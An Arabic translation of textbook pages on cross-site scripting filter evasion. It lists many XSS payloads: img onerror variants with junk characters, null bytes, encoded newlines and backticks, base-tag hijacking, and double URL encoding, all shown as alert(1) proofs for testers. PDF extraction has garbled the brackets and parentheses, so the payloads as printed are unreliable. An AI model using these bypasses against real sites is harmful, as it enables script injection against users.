ﻛﻤﺎﻫﻮ ﺍﻟﺤﺎﻝ ﻣﻊ ﻣﻌﺎﻟﺠﺎﺕ ﺍﻷﺣﺪﺍﺙ ،ﻳﻮﻓﺮ HTML5ﺑﻌﺾ ﺍﻟﻄﺮﻕ ﺍﻟﺠﺪﻳﺪﺓ ﻻﺳﺘﺨﺪﺍﻡ ﺑﺮﻭﺗﻮﻛﻮﻻﺕ ﺍﻟﺒﺮﺍﻣﺞ
ﺍﻟﻨﺼﻴﺔﺍﻟﺰﺍﺉﻔﺔ ﻓﻲ ﻫﺠﻤﺎﺕ :XSS
ﺍﻟﺠﺪﻳﺪﻣﺼﺪﺭ ﺍﻟﺤﺪﺙﺗﻌُﺪ ﻫﺬﻩ ﺍﻟﻌﻼﻣﺔ ﺫﺍﺕ ﺃﻫﻤﻴﺔ ﺧﺎﺻﺔ ﻋﻨﺪ ﺍﺳﺘﻬﺪﺍﻑ ﻣﺮﺷﺤﺎﺕ ﺍﻹﺩﺧﺎﻝ .ﻋﻠﻰ ﻋﻜﺲ ﺃﻱ
ﻭﺳﻮﻡﺳﺎﺑﻘﺔ ﻟـ ،HTML5ﻳﺘﻀﻤﻦ ﺍﺳﻤﻬﺎ ﺷﺮﻃﺔ ،ﻟﺬﺍ ﻗﺪ ﻳﺆﺩﻱ ﺍﺳﺘﺨﺪﺍﻣﻬﺎ ﺇﻟﻰ ﺗﺠﺎﻭﺯ ﺍﻟﻤﺮﺷﺤﺎﺕ ﺍﻟﻘﺪﻳﻤﺔ
ﺍﻟﻘﺎﺉﻤﺔﻋﻠﻰ ﺍﻟﺘﻌﺎﺑﻴﺮ ﺍﻟﻌﺎﺩﻳﺔ ﺍﻟﺘﻲ ﺗﻔﺘﺮﺽ ﺃﻥ ﺃﺳﻤﺎء ﺍﻟﻌﻼﻣﺎﺕ ﻻ ﺗﺤﺘﻮﻱ ﺇﻻ ﻋﻠﻰ ﺃﺣﺮﻑ.
459 ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ-ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ :ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ
<((>x style=x:expression)alert)1
ﺃﺯﺍﻟﺖﺍﻹﺻﺪﺍﺭﺍﺕ ﺍﻷﺣﺪﺙ ﻣﻦ ﻣﺘﺼﻔﺢ ﺇﻧﺘﺮﻧﺖ ﺇﻛﺴﺒﻠﻮﺭﺭ ﺩﻋﻢ ﺍﻟﺼﻴﻐﺔ ﺍﻟﺴﺎﺑﻘﺔ ،ﺑﺤﺠﺔ ﺃﻥ
ﺍﺳﺘﺨﺪﺍﻣﻬﺎﻋﻤﻠﻴﺎً ﻛﺎﻥ ﻳﻘﺘﺼﺮ ﻋﻠﻰ ﻫﺠﻤﺎﺕ .XSSﻣﻊ ﺫﻟﻚ ،ﻓﻲ ﺍﻹﺻﺪﺍﺭﺍﺕ ﺍﻷﺣﺪﺙ ﻣﻦ ﻣﺘﺼﻔﺢ
ﺇﻧﺘﺮﻧﺖﺇﻛﺴﺒﻠﻮﺭﺭ ،ﻳﻤﻜﻦ ﺍﺳﺘﺨﺪﺍﻡ ﻣﺎ ﻳﻠﻲ ﻟﺘﺤﻘﻴﻖ ﻧﻔﺲ ﺍﻟﻐﺮﺽ:
ﺗﺠﺎﻭﺯﺍﻟﻤﺮﺷﺤﺎﺕHTML :
ﻭﺻﻔﺖﺍﻷﻗﺴﺎﻡ ﺍﻟﺴﺎﺑﻘﺔ ﻃﺮﻗﺎً ﻋﺪﻳﺪﺓ ﻟﺘﻨﻔﻴﺬ ﺃﻛﻮﺍﺩ ﺍﻟﺒﺮﺍﻣﺞ ﺍﻟﻨﺼﻴﺔ ﻣﻦ ﺩﺍﺧﻞ ﺻﻔﺤﺔ .HTMLﻓﻲ
ﻛﺜﻴﺮﻣﻦ ﺍﻟﺤﺎﻻﺕ ،ﻗﺪ ﺗﺠﺪ ﺃﻧﻪ ﻳﻤﻜﻦ ﺍﻟﺘﻐﻠﺐ ﻋﻠﻰ ﺍﻟﻤﺮﺷﺤﺎﺕ ﺍﻟﻘﺎﺉﻤﺔ ﻋﻠﻰ ﺍﻟﺘﻮﻗﻴﻊ ﺑﺒﺴﺎﻃﺔ ﻋﻦ
ﻃﺮﻳﻖﺍﻟﺘﺒﺪﻳﻞ ﺇﻟﻰ ﻃﺮﻳﻘﺔ ﻣﺨﺘﻠﻔﺔ ﻭﺃﻗﻞ ﺷﻴﻮﻋﺎً ﻟﺘﻨﻔﻴﺬ ﺍﻟﺒﺮﺍﻣﺞ ﺍﻟﻨﺼﻴﺔ .ﺇﺫﺍ ﻓﺸﻞ ﺫﻟﻚ ،ﻓﻌﻠﻴﻚ
ﺍﻟﺒﺤﺚﻋﻦ ﻃﺮﻕ ﻟﺘﻌﺘﻴﻢ ﻫﺠﻮﻣﻚ .ﻋﺎﺩﺓ ًﻣﺎ ﻳﻤﻜﻨﻚ ﺍﻟﻘﻴﺎﻡ ﺑﺬﻟﻚ ﻋﻦ ﻃﺮﻳﻖ ﺇﺩﺧﺎﻝ ﺍﺧﺘﻼﻓﺎﺕ ﻏﻴﺮ
ﻣﺘﻮﻗﻌﺔﻓﻲ ﺑﻨﺎء ﺍﻟﺠﻤﻠﺔ ،ﻳﻘﺒﻠﻬﺎ ﺍﻟﻤﺮﺷﺢ ﻭﻳﺘﺤﻤﻠﻬﺎ ﺍﻟﻤﺘﺼﻔﺢ ﻋﻨﺪ ﺇﺭﺟﺎﻉ ﺍﻟﻤﺪﺧﻼﺕ .ﻳﺘﻨﺎﻭﻝ ﻫﺬﺍ
ﺍﻟﻘﺴﻢﻃﺮﻕ ﺗﻌﺘﻴﻢ ﺑﻨﺎء ﺟﻤﻠﺔ HTMLﻟﺘﻌﻄﻴﻞ ﺍﻟﻤﺮﺷﺤﺎﺕ ﺍﻟﺸﺎﺉﻌﺔ .ﻳﻄﺒﻖ ﺍﻟﻘﺴﻢ ﺍﻟﺘﺎﻟﻲ ﺍﻟﻤﺒﺎﺩﺉ
ﻧﻔﺴﻬﺎﻋﻠﻰ ﺑﻨﺎء ﺟﻤﻠﺔ JavaScriptﻭ.VBScript
ﻋﺎﺩﺓ ًﻣﺎ ﺗﺴﺘﺨﺪﻡ ﺍﻟﻤﺮﺷﺤﺎﺕ ﺍﻟﻘﺎﺉﻤﺔ ﻋﻠﻰ ﺍﻟﺘﻮﻗﻴﻊ ،ﺍﻟﻤﺼﻤﻤﺔ ﻟﻤﻨﻊ ﻫﺠﻤﺎﺕ ،XSSﺗﻌﺒﻴﺮﺍﺕ
ﻋﺎﺩﻳﺔﺃﻭ ﺗﻘﻨﻴﺎﺕ ﺃﺧﺮﻯ ﻟﺘﺤﺪﻳﺪ ﻣﻜﻮﻧﺎﺕ HTMLﺍﻟﺮﺉﻴﺴﻴﺔ ،ﻣﺜﻞ ﺃﻗﻮﺍﺱ ﺍﻟﻮﺳﻮﻡ ،ﻭﺃﺳﻤﺎء ﺍﻟﻮﺳﻮﻡ،
ﻭﺃﺳﻤﺎءﺍﻟﺴﻤﺎﺕ ،ﻭﻗﻴﻤﻬﺎ .ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ ،ﻗﺪ ﻳﺴﻌﻰ ﺍﻟﻤﺮﺷﺢ ﺇﻟﻰ ﺣﻈﺮ ﺍﻹﺩﺧﺎﻻﺕ ﺍﻟﺘﻲ ﺗﺤﺘﻮﻱ
ﻋﻠﻰ HTMLﻭﺍﻟﺘﻲ ﺗﺴﺘﺨﺪﻡ ﺃﺳﻤﺎء ﻭﺳﻮﻡ ﺃﻭ ﺳﻤﺎﺕ ﻣﺤﺪﺩﺓ ﻣﻌﺮﻭﻓﺔ ﺑﺘﻤﻜﻴﻦ ﺇﺩﺧﺎﻝ ﺍﻟﻨﺼﻮﺹ
ﺍﻟﺒﺮﻣﺠﻴﺔ،ﺃﻭ ﻗﺪ ﻳﺤﺎﻭﻝ ﺣﻈﺮ ﻗﻴﻢ ﺍﻟﺴﻤﺎﺕ ﺍﻟﺘﻲ ﺗﺒﺪﺃ ﺑﺒﺮﻭﺗﻮﻛﻮﻝ ﻧﺼﻲ ﺯﺍﺉﻒ .ﻳﻤﻜﻦ ﺗﺠﺎﻭﺯ ﺍﻟﻌﺪﻳﺪ
ﻣﻦﻫﺬﻩ ﺍﻟﻤﺮﺷﺤﺎﺕ ﺑﻮﺿﻊ ﺃﺣﺮﻑ ﻏﻴﺮ ﻣﺄﻟﻮﻓﺔ ﻓﻲ ﻧﻘﺎﻁ ﺭﺉﻴﺴﻴﺔ ﺩﺍﺧﻞ HTMLﺑﻄﺮﻳﻘﺔ ﻳﻤﻜﻦ
ﻟﻤﺘﺼﻔﺢﻭﺍﺣﺪ ﺃﻭ ﺃﻛﺜﺮ ﺗﺤﻤﻠﻬﺎ.
ﻳﻤﻜﻨﻚﺗﻌﺪﻳﻞ ﻫﺬﻩ ﺍﻟﺼﻴﻐﺔ ﺑﻄﺮﻕ ﻋﺪﻳﺪﺓ ،ﻣﻊ ﺍﺳﺘﻤﺮﺍﺭ ﺗﺸﻐﻴﻞ ﺍﻟﻜﻮﺩ ﺍﻟﺨﺎﺹ ﺑﻚ ﻋﻠﻰ ﻣﺘﺼﻔﺢ
ﻭﺍﺣﺪﻋﻠﻰ ﺍﻷﻗﻞ .ﺳﻨﺘﻨﺎﻭﻝ ﻛﻼً ﻣﻨﻬﺎ ﻋﻠﻰ ﺣﺪﺓ .ﻋﻤﻠﻴﺎً ،ﻗﺪ ﺗﺤﺘﺎﺝ ﺇﻟﻰ ﺩﻣﺞ ﺍﻟﻌﺪﻳﺪ ﻣﻦ ﻫﺬﻩ ﺍﻟﺘﻘﻨﻴﺎﺕ
ﻓﻲﺛﻐﺮﺓ ﺃﻣﻨﻴﺔ ﻭﺍﺣﺪﺓ ﻟﺘﺠﺎﻭﺯ ﻣﺮﺷﺤﺎﺕ ﺍﻹﺩﺧﺎﻝ ﺍﻷﻛﺜﺮ ﺗﻌﻘﻴﺪﺍً.
ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ-ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ :ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ 460
ﺍﺳﻢﺍﻟﻌﻼﻣﺔ
ﺑﺪءﺍًﻣﻦ ﺍﺳﻢ ﻋﻼﻣﺔ ﺍﻻﻓﺘﺘﺎﺡ ،ﻳﻤﻜﻦ ﺗﺠﺎﻭﺯ ﺍﻟﻤﺮﺷﺤﺎﺕ ﺍﻷﻛﺜﺮ ﺑﺴﺎﻃﺔ ﻭﺳﻬﻮﻟﺔ ﺑﺒﺴﺎﻃﺔ ﻋﻦ ﻃﺮﻳﻖ
ﺗﻐﻴﻴﺮﺣﺎﻟﺔ ﺍﻷﺣﺮﻑ ﺍﻟﻤﺴﺘﺨﺪﻣﺔ:
)ﻓﻲ ﻫﺬﻩ ﺍﻷﻣﺜﻠﺔ[XX%] ،ﻳﺸﻴﺮ ﺇﻟﻰ ﺍﻟﺤﺮﻑ ﺍﻟﺤﺮﻓﻲ ﺑﺎﺳﺘﺨﺪﺍﻡ ﺭﻣﺰ ASCIIﺍﻟﺴﺪﺍﺳﻲ ﻋﺸﺮXX
ﻋﻨﺪﺇﺭﺳﺎﻝ ﻫﺠﻮﻣﻚ ﺇﻟﻰ ﺍﻟﺘﻄﺒﻴﻖ ،ﺳﺘﺴﺘﺨﺪﻡ ﻋﺎﺩﺓ ًﺻﻴﻐﺔ ﺍﻟﺤﺮﻑ ﺍﻟﻤﺮُﻣﺰَّ ﺑﺮﺍﺑﻂ .URLﻋﻨﺪ ﻣﺮﺍﺟﻌﺔ
ﺍﺳﺘﺠﺎﺑﺔﺍﻟﺘﻄﺒﻴﻖ ،ﻋﻠﻴﻚ ﺍﻟﺒﺤﺚ ﻋﻦ ﺍﻟﺤﺮﻑ ﺍﻟﻤﻔُﻜﻚَّ ﺣﺮﻓﻴﺎً ﺍﻟﺬﻱ ﻳﻈﻬﺮ.
ﻋﻨﺪﺍﻟﻤﻀﻲ ﻗﺪﻣﺎً ﻓﻲ ﺃﺳﻤﺎء ﺍﻟﻌﻼﻣﺎﺕ ،ﺇﺫﺍ ﻗﻤﺖ ﺑﺘﻌﺪﻳﻞ ﺍﻟﻤﺜﺎﻝ ﻗﻠﻴﻼ ً،ﻓﻴﻤﻜﻨﻚ ﺍﺳﺘﺨﺪﺍﻡ
ﺃﺳﻤﺎءﻋﻼﻣﺎﺕ ﻋﺸﻮﺍﺉﻴﺔ ﻟﺘﻘﺪﻳﻢ ﻣﻌﺎﻟﺠﺎﺕ ﺍﻷﺣﺪﺍﺙ ،ﻭﺑﺎﻟﺘﺎﻟﻲ ﺗﺠﺎﻭﺯ ﺍﻟﻤﺮﺷﺤﺎﺕ ﺍﻟﺘﻲ ﺗﺤﻈﺮ
ﺍﻟﻌﻼﻣﺎﺕﺍﻟﻤﺴﻤﺎﺓ ﺍﻟﻤﺤﺪﺩﺓ ﻓﻘﻂ:
ﻓﻲﺑﻌﺾ ﺍﻟﺤﺎﻻﺕ ،ﻗﺪ ﺗﺘﻤﻜﻦ ﻣﻦ ﺇﺿﺎﻓﺔ ﻭﺳﻮﻡ ﺟﺪﻳﺪﺓ ﺑﺄﺳﻤﺎء ﻣﺨﺘﻠﻔﺔ ،ﻭﻟﻜﻨﻚ ﻻ ﺗﺠﺪ ﻃﺮﻳﻘﺔ
ﻻﺳﺘﺨﺪﺍﻣﻬﺎﻟﺘﻨﻔﻴﺬ ﺍﻟﺸﻴﻔﺮﺓ ﺍﻟﺒﺮﻣﺠﻴﺔ ﻣﺒﺎﺷﺮﺓ ً.ﻓﻲ ﻫﺬﻩ ﺍﻟﺤﺎﻻﺕ ،ﻗﺪ ﺗﺘﻤﻜﻦ ﻣﻦ ﺷﻦ ﻫﺠﻮﻡ
ﺑﺎﺳﺘﺨﺪﺍﻡﺗﻘﻨﻴﺔ ﺗﻌُﺮﻑ ﺑﺎﺳﻢ "ﺍﺧﺘﻄﺎﻑ ﺍﻟﻮﺳﻮﻡ ﺍﻷﺳﺎﺳﻴﺔ".ﺍﻟﻘﺎﻋﺪﺓ<ﺗﺴُﺘﺨﺪﻡ ﺍﻟﻌﻼﻣﺔ ﻟﺘﺤﺪﻳﺪ ﻋﻨﻮﺍﻥ
URLﺍﻟﺬﻱ ﻳﺠﺐ ﻋﻠﻰ ﺍﻟﻤﺘﺼﻔﺢ ﺍﺳﺘﺨﺪﺍﻣﻪ ﻟﺤﻞ ﺃﻱ ﻋﻨﺎﻭﻳﻦ URLﻧﺴﺒﻴﺔ ﺗﻈﻬﺮ ﻻﺣﻘﺎً ﺩﺍﺧﻞ
ﺍﻟﺼﻔﺤﺔ.ﺇﺫﺍ ﻛﺎﻥ ﺑﺈﻣﻜﺎﻧﻚ ﺇﺿﺎﻓﺔ ﻋﻼﻣﺔ > ﺟﺪﻳﺪﺓ،ﺍﻟﻘﺎﻋﺪﺓ<ﺍﻟﻌﻼﻣﺔ ،ﻭﺗﻘﻮﻡ ﺍﻟﺼﻔﺤﺔ ﺑﺄﻱ >ﻧﺺ<
ﻳﺘﻀﻤﻦﺫﻟﻚ ﺑﻌﺪ ﻧﻘﻄﺔ ﺍﻻﻧﻌﻜﺎﺱ ﺑﺎﺳﺘﺨﺪﺍﻡ ﻋﻨﺎﻭﻳﻦ URLﺍﻟﻨﺴﺒﻴﺔ ،ﻳﻤﻜﻨﻚ ﺗﺤﺪﻳﺪ ﻋﻨﻮﺍﻥ URL
ﺃﺳﺎﺳﻲﻟﺨﺎﺩﻡ ﺗﺘﺤﻜﻢ ﻓﻴﻪ .ﻋﻨﺪﻣﺎ ﻳﺤُﻤﻞّ ﺍﻟﻤﺘﺼﻔﺢ ﺍﻟﺒﺮﺍﻣﺞ ﺍﻟﻨﺼﻴﺔ ﺍﻟﻤﺤﺪﺩﺓ ﻓﻲ ﺑﻘﻴﺔ ﺻﻔﺤﺔ
،HTMLﻳﺘﻢ ﺗﺤﻤﻴﻠﻬﺎ ﻣﻦ ﺍﻟﺨﺎﺩﻡ ﺍﻟﺬﻱ ﺣﺪﺩﺗﻪ ،ﻣﻊ ﺍﺳﺘﻤﺮﺍﺭ ﺗﻨﻔﻴﺬﻫﺎ ﻓﻲ ﺳﻴﺎﻕ ﺍﻟﺼﻔﺤﺔ ﺍﻟﺘﻲ
ﺍﺳﺘﺪﻋﺘﻬﺎ.ﻋﻠﻰ ﺳﺒﻴﻞ ﺍﻟﻤﺜﺎﻝ:
<>script src=”goodscript.js”<>/script
461 ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ-ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ :ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ
<>img/anyjunk/onerror=alert)1( src=a
<>img/'onerror=alert)1( src=a
<>img/”onerror=alert)1( src=a
<>img]%0a[onerror=alert)1( src=a
<>img]%0d[onerror=alert)1( src=a
<>img]%09[onerror=alert)1( src=a
<>img/onerror=alert)1( src=a
ﻻﺣﻆﺃﻧﻪ ﺣﺘﻰ ﻋﻨﺪﻣﺎ ﻻ ﻳﺘﻄﻠﺐ ﺍﻟﻬﺠﻮﻡ ﺃﻱ ﺳﻤﺎﺕ ﻋﻼﻣﺔ ،ﻳﺠﺐ ﻋﻠﻴﻚ ﺩﺍﺉﻤﺎً ﻣﺤﺎﻭﻟﺔ ﺇﺿﺎﻓﺔ
ﺑﻌﺾﺍﻟﻤﺤﺘﻮﻯ ﻏﻴﺮ ﺍﻟﻀﺮﻭﺭﻱ ﺑﻌﺪ ﺍﺳﻢ ﺍﻟﻌﻼﻣﺔ ،ﻷﻥ ﻫﺬﺍ ﻳﺘﺠﺎﻭﺯ ﺑﻌﺾ ﺍﻟﻤﺮﺷﺤﺎﺕ ﺍﻟﺒﺴﻴﻄﺔ:
<>/scriptﺗﻨﺒﻴﻪ)>script/anyjunk<(1
ﺃﺳﻤﺎءﺍﻟﺴﻤﺎﺕ
ﺩﺍﺧﻞﺍﺳﻢ ﺍﻟﺴﻤﺔ ،ﻳﻤﻜﻨﻚ ﺍﺳﺘﺨﺪﺍﻡ ﻧﻔﺲ ﺧﺪﻋﺔ ﺑﺎﻳﺖ NULLﺍﻟﻤﻮﺿﺤﺔ ﺳﺎﺑﻘﺎً .ﻫﺬﺍ ﻳﺘﺠﺎﻭﺯ
ﺍﻟﻌﺪﻳﺪﻣﻦ ﺍﻟﻤﺮﺷﺤﺎﺕ ﺍﻟﺒﺴﻴﻄﺔ ﺍﻟﺘﻲ ﺗﺤﺎﻭﻝ ﺣﻈﺮ ﻣﻌﺎﻟﺠﺎﺕ ﺍﻷﺣﺪﺍﺙ ﻋﻦ ﻃﺮﻳﻖ ﺣﻈﺮ ﺃﺳﻤﺎء
ﺍﻟﺴﻤﺎﺕﺍﻟﺘﻲ ﺗﺒﺪﺃ ﺑـﻋﻠﻰ:
ﻓﻮﺍﺻﻞﺍﻟﺴﻤﺎﺕ
ﻓﻲﺍﻟﻤﺜﺎﻝ ﺍﻷﺻﻠﻲ ،ﻟﻢ ﺗﻜﻦ ﻗﻴﻢ ﺍﻟﺴﻤﺎﺕ ﻣﺤُﺪﺩﺓ ،ﻣﻤﺎ ﻳﺘﻄﻠﺐ ﻣﺴﺎﻓﺔ ﺑﻌﺪ ﻗﻴﻤﺔ ﺍﻟﺴﻤﺔ ﻟﻺﺷﺎﺭﺓ
ﺇﻟﻰﺍﻧﺘﻬﺎءﻫﺎ ﻗﺒﻞ ﺇﺿﺎﻓﺔ ﺳﻤﺔ ﺃﺧﺮﻯ .ﻳﻤﻜﻦ ﺗﺤﺪﻳﺪ ﺍﻟﺴﻤﺎﺕ ﺍﺧﺘﻴﺎﺭﻳﺎً ﺑﻌﻼﻣﺎﺕ ﺍﻗﺘﺒﺎﺱ ﻣﺰﺩﻭﺟﺔ ﺃﻭ
ﻣﻔﺮﺩﺓ،ﺃﻭ ﻓﻲ ﻣﺘﺼﻔﺢ IEﺑﻌﻼﻣﺎﺕ ﺍﻗﺘﺒﺎﺱ ﻋﻜﺴﻴﺔ.
<>img onerror=`alert)1(`src=a
<>img onerror='alert)1('src=a
<>img onerror=”alert)1(”src=a
ﻳﻮﻓﺮﺍﻟﺘﺒﺪﻳﻞ ﺑﻴﻦ ﺍﻟﺴﻤﺎﺕ ﻓﻲ ﺍﻟﻤﺜﺎﻝ ﺍﻟﺴﺎﺑﻖ ﻃﺮﻳﻘﺔ ﺃﺧﺮﻯ ﻟﺘﺠﺎﻭﺯ ﺑﻌﺾ ﺍﻟﻤﺮﺷﺤﺎﺕ ﺍﻟﺘﻲ
ﺗﺘﺤﻘﻖﻣﻦ ﺃﺳﻤﺎء ﺍﻟﺴﻤﺎﺕ ﺍﻟﺘﻲ ﺗﺒﺪﺃ ﺑـﻋﻠﻰ.ﺇﺫﺍ ﻟﻢ ﻳﻜﻦ ﺍﻟﻤﺮﺷﺢ ﻋﻠﻰ ﺩﺭﺍﻳﺔ ﺑﺄﻥ ﻋﻼﻣﺎﺕ ﺍﻻﻗﺘﺒﺎﺱ
ﺍﻟﻌﻜﺴﻴﺔﺗﻌﻤﻞ ﻛﻔﺎﺻﻼﺕ ﻟﻠﺴﻤﺎﺕ ،ﻓﺈﻧﻪ ﻳﻌﺎﻣﻞ ﺍﻟﻤﺜﺎﻝ ﺍﻟﺘﺎﻟﻲ ﻋﻠﻰ ﺃﻧﻪ ﻳﺤﺘﻮﻱ ﻋﻠﻰ ﺳﻤﺔ ﻭﺍﺣﺪﺓ،
ﻭﺍﻟﺘﻲﻻ ﻳﻜﻮﻥ ﺍﺳﻤﻬﺎ ﺍﺳﻢ ﻣﻌﺎﻟﺞ ﺍﻟﺤﺪﺙ:
<(>img src=`a`onerror=alert)1
ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ-ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ :ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ 462
ﻣﻦﺧﻼﻝ ﺍﻟﺠﻤﻊ ﺑﻴﻦ ﺍﻟﺴﻤﺎﺕ ﺍﻟﻤﺤﺪﺩﺓ ﺑﻌﻼﻣﺎﺕ ﺍﻗﺘﺒﺎﺱ ﻣﻊ ﺍﻷﺣﺮﻑ ﻏﻴﺮ ﺍﻟﻤﺘﻮﻗﻌﺔ ﺍﻟﺘﻲ ﺗﺘﺒﻊ
ﺍﺳﻢﺍﻟﻌﻼﻣﺔ ،ﻳﻤﻜﻦ ﺍﺑﺘﻜﺎﺭ ﻫﺠﻤﺎﺕ ﻻ ﺗﺴﺘﺨﺪﻡ ﺃﻱ ﻣﺴﺎﻓﺎﺕ ﺑﻴﻀﺎء ،ﻭﺑﺎﻟﺘﺎﻟﻲ ﺗﺠﺎﻭﺯ ﺑﻌﺾ
ﺍﻟﻤﺮﺷﺤﺎﺕﺍﻟﺒﺴﻴﻄﺔ:
<>img/onerror=”alert)1(”src=a
ﺟﺮﺑﻬﺎ!
/72/ http://mdsec.net/search/75/
/search/69/ http://mdsec.net/search
http://mdsec.net
ﻗﻴﻢﺍﻟﺴﻤﺎﺕ
ﺩﺍﺧﻞﻗﻴﻢ ﺍﻟﺴﻤﺎﺕ ﻧﻔﺴﻬﺎ ،ﻳﻤﻜﻨﻚ ﺍﺳﺘﺨﺪﺍﻡ ﺧﺪﻋﺔ ﺍﻟﺒﺎﻳﺖ ،NULLﻭﻳﻤﻜﻨﻚ ﺃﻳﻀﺎً ﺗﺮﻣﻴﺰ ﺍﻷﺣﺮﻑ
ﺑﺎﺳﺘﺨﺪﺍﻡ HTMLﺩﺍﺧﻞ ﺍﻟﻘﻴﻤﺔ:
ﻷﻥﺍﻟﻤﺘﺼﻔﺢ ﻳﻔﻚ ﺗﺸﻔﻴﺮ HTMLﻟﻘﻴﻤﺔ ﺍﻟﺴﻤﺔ ﻗﺒﻞ ﻣﻌﺎﻟﺠﺘﻬﺎ ،ﻳﻤﻜﻨﻚ ﺍﺳﺘﺨﺪﺍﻡ ﺗﺮﻣﻴﺰ HTML
ﻹﺧﻔﺎءﺍﺳﺘﺨﺪﺍﻣﻚ ﻟﺸﻔﺮﺓ ﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ ،ﻭﺑﺎﻟﺘﺎﻟﻲ ﺗﺠﻨﺐ ﺍﻟﻌﺪﻳﺪ ﻣﻦ ﺍﻟﻤﺮﺷﺤﺎﺕ .ﻋﻠﻰ ﺳﺒﻴﻞ
ﺍﻟﻤﺜﺎﻝ،ﻳﺘﺠﺎﻭﺯ ﺍﻟﻬﺠﻮﻡ ﺍﻟﺘﺎﻟﻲ ﺍﻟﻌﺪﻳﺪ ﻣﻦ ﺍﻟﻤﺮﺷﺤﺎﺕ ﺍﻟﺘﻲ ﺗﺴﻌﻰ ﺇﻟﻰ ﻣﻨﻊ ﺍﺳﺘﺨﺪﺍﻡ ﻣﻌﺎﻟﺞ ﺷﺒﻪ
ﺑﺮﻭﺗﻮﻛﻮﻝ:JavaScript
ﺃﻗﻮﺍﺱﺍﻟﻌﻼﻣﺎﺕ
ﻓﻲﺑﻌﺾ ﺍﻟﻤﻮﺍﻗﻒ ،ﻣﻦ ﺧﻼﻝ ﺍﺳﺘﻐﻼﻝ ﺳﻠﻮﻙ ﻏﺮﻳﺐ ﻟﻠﺘﻄﺒﻴﻖ ﺃﻭ ﺍﻟﻤﺘﺼﻔﺢ ،ﻣﻦ ﺍﻟﻤﻤﻜﻦ
ﺍﺳﺘﺨﺪﺍﻡﺃﻗﻮﺍﺱ ﻋﻼﻣﺎﺕ ﻏﻴﺮ ﺻﺎﻟﺤﺔ ﻭﺍﻟﺘﺴﺒﺐ ﻓﻲ ﻗﻴﺎﻡ ﺍﻟﻤﺘﺼﻔﺢ ﺑﻤﻌﺎﻟﺠﺔ ﺍﻟﻌﻼﻣﺔ ﺑﺎﻟﻄﺮﻳﻘﺔ ﺍﻟﺘﻲ
ﻳﺘﻄﻠﺒﻬﺎﺍﻟﻬﺠﻮﻡ.
463 ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ-ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ :ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ
ﺗﻘﻮﻡﺑﻌﺾ ﺍﻟﺘﻄﺒﻴﻘﺎﺕ ﺑﻔﻚ ﺗﺸﻔﻴﺮ ﻋﻨﻮﺍﻥ URLﻏﻴﺮ ﺍﻟﻀﺮﻭﺭﻱ ﻟﻺﺩﺧﺎﻝ ﺑﻌﺪ ﺗﻄﺒﻴﻖ ﻣﺮﺷﺤﺎﺕ
ﺍﻹﺩﺧﺎﻝﺍﻟﺨﺎﺻﺔ ﺑﻬﺎ ،ﻭﺑﺎﻟﺘﺎﻟﻲ ﻳﻈﻬﺮ ﺍﻹﺩﺧﺎﻝ ﺍﻟﺘﺎﻟﻲ ﻓﻲ ﺍﻟﻄﻠﺐ:
src=a%253eﺗﻨﺒﻴﻪ)%253cimg%20onerror=20%(1
ﻳﺘﻢﻓﻚ ﺗﺸﻔﻴﺮ ﻋﻨﻮﺍﻥ URLﺑﻮﺍﺳﻄﺔ ﺧﺎﺩﻡ ﺍﻟﺘﻄﺒﻴﻖ ﻭﺗﻤﺮﻳﺮﻩ ﺇﻟﻰ ﺍﻟﺘﻄﺒﻴﻖ ﻋﻠﻰ ﺍﻟﻨﺤﻮ ﺍﻟﺘﺎﻟﻲ:
ﺍﻟﺬﻱﻻ ﻳﺤﺘﻮﻱ ﻋﻠﻰ ﺃﻱ ﺃﻗﻮﺍﺱ ﻭﺳﻢ ،ﻭﺑﺎﻟﺘﺎﻟﻲ ﻻ ﻳﺤُﻈﺮ ﺑﻮﺍﺳﻄﺔ ﻣﺮُﺷﺢِّ ﺍﻹﺩﺧﺎﻝ .ﻣﻊ ﺫﻟﻚ ،ﻳﺠُﺮﻱ
ﺍﻟﺘﻄﺒﻴﻖﺑﻌﺪ ﺫﻟﻚ ﻓﻚ ﺗﺸﻔﻴﺮ ﻋﻨﻮﺍﻥ URLﺛﺎﻧﻴﺎً ،ﻓﻴﺼﺒﺢ ﺍﻹﺩﺧﺎﻝ:
ﻗﺪﺗﺴﻤﺢ ﻣﺮﺷﺤﺎﺕ ﺇﺩﺧﺎﻝ ﺍﻟﺘﻄﺒﻴﻖ ﺑﻬﺬﺍ ﺍﻹﺩﺧﺎﻝ ﻟﻌﺪﻡ ﺍﺣﺘﻮﺍﺉﻪ ﻋﻠﻰ ﺃﻱ ﻧﺼﻮﺹ HTML
